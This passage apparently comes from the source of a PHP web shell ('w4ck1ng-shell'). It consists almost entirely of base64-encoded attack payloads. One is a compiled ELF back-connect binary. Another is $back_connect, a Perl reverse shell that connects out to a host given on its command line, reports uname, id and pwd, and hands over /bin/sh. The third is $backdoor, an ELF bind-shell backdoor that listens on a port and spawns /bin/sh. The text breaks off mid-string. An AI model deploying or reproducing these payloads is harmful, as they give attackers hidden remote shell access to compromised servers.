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cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA=="; + +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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AAAAAAECFQDMAQAArJkECAAAAAAAAvH/3wEAAAAAAAB1AQAAEgAAAPABAAAAAAAAcQAAABIAAAABAgAARIkECAQAAAARAA4ACAIAAAAAAADMAAAAEgAAABoCAAAAAAAAWgAAABIAAAAqAgAA2JoECAAAAAARAhYANwIAAK2IBAhKAAAAEgAMAEcCAAAAAAAAeAAAABIAAABZAgAAiIQECAAAAAASAAoAXwIAAAAAAAA5AAAAEgAAAHECAAAAAAAAOQAAABIAAACHAgAAoIUECAAAAAASAAwAjgIAAFyIBAhRAAAAEgAMAJ4CAADgmgQIAAAAABAA8f+qAgAAQIYECBwCAAASAAwArwIAAAAAAADmAAAAEgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJ